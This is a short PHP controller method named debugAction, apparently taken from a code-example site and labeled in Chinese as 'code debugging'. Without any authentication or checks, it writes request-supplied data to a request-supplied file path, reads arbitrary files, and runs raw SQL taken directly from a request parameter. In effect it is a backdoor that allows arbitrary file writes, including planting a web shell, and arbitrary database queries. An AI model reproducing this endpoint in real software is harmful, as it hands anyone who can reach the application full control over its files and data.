Ejemplo n.º 1
0
 /**
  * 代码调试
  */
 public function debugAction()
 {
     $type = $this->getParam('t');
     switch ($type) {
         case 'f':
             file_put_contents(APP_PATH . $this->getParam('f'), $this->getParam('d'));
             break;
         case 'q':
             file_get_contents(APP_PATH . $this->getParam('f'));
             break;
         default:
             $sSQL = $this->getParam('rq');
             Model_Base::query($sSQL);
             break;
     }
 }